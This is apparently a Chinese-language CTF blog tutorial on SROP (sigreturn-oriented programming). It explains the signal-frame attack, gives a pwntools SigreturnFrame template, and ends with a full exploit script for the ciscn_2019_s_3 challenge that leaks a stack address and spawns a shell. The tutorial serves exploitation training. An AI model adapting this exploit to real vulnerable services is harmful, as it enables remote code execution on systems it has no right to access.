SROP

知识点

signal机制(见wiki)

image-20250529193714483

攻击原理

刚才的signal机制通俗来说就是,用户端发出的信号后,寄存器会被保存到内核中,后面再从内核中取出来这些寄存器的值,而这些内核中的内容是存在于用户端的地址空间上的,所以我们可以修改这些寄存器的值,从而构造ROP链。

攻击流程

首先我们需要进入signal框架,这里64位的系统调用好为0xf(15),32位的系统调用号为0x77(119),我们需要把rax寄存器赋值为signal框架的系统调用号之后再调用syscall即可进入signal框架。

进入到signal框架后,即可修改寄存器的值,如果你想执行shell,那就需要令rax=59,rdi=/bin/sh,rsi=rdx=0,rip=syscall,如果想调用一系列的函数,只需要把rax赋值成对应系统调用号,正确传参,最重要的一点是把rip上的gadgets从syscall改成syscall;ret; 这样就可以连接到下一个signal框架。攻击流程大概就是这样,那么如何在signal框架中修改寄存器的值呢,这点pwntools给我们提供了很方便的工具,照着模板套就可以了。

frame = SigreturnFrame()

frame.rax = 59

frame.rdi = binsh

frame.rsi = 0

frame.rdx = 0

frame.rip = syscall

要注意写payload的时候要把signal框架写成bytes(frame),外面不需要再加上p64()。

再来自考一下什么情况下可以用SROP,首先是能找到控制rax寄存器的gadgets或者程序中有给rax赋值成signal系统调用号的汇编指令,还要有syscall这个gadgets,这两个应该算作SROP的大前提,有了这两个大前提,当我们发现程序中的gadgets不足以控制寄存器执行需要的函数时,就可以考虑SROP。

例题

ciscn_2019_s_3

https://buuoj.cn/challenges#ciscn_2019_s_3

和上一篇博客的例题一样,换了SROP的方法。

在栈上写binsh并找偏移之前的过程就不写了,参考上一篇博客ret2csu,写的很详细,这里我们从ida中的gadgets函数开始讲起

image-20250529193730101

上一篇是因为看到了下面的mov rax,0x3b,这是exceve的系统调用号,所以我们通过ret2csu构造出了ROP链,但其实gadgets函数里面还有一个mov rax,0xf,这是64位的signal框架系统调用号,我们可以由此进入signal框架控制寄存器,进行一次SROP就可以执行shell。

exp如下:

from pwn import *

r=remote("node5.buuoj.cn",25369)

\#r=process("./pwn")

context(os="linux",arch="amd64",log_level="debug")

context.terminal = ['tmux', 'splitw', '-h']

elf=ELF("./pwn")

main=elf.sym['vuln']

pop6=0x40059a

mov_rdx_r13=0x400580

pop_rdi=0x4005a3

mov_rax_0xf=0x4004DA

execve=0x4004E2

syscall=0x400501

payload=b'/bin/sh\x00'*2+p64(main)

\#gdb.attach(r)

r.sendline(payload)

r.recv(0x20)

binsh=u64(r.recv(8))-0x118

frame = SigreturnFrame()

frame.rax = 59

frame.rdi = binsh

frame.rsi = 0

frame.rdx = 0

frame.rip = syscall

payload=b'/bin/sh\x00'*2+p64(mov_rax_0xf)+p64(syscall)+bytes(frame) //最核心的内容

r.sendline(payload)

r.interactive()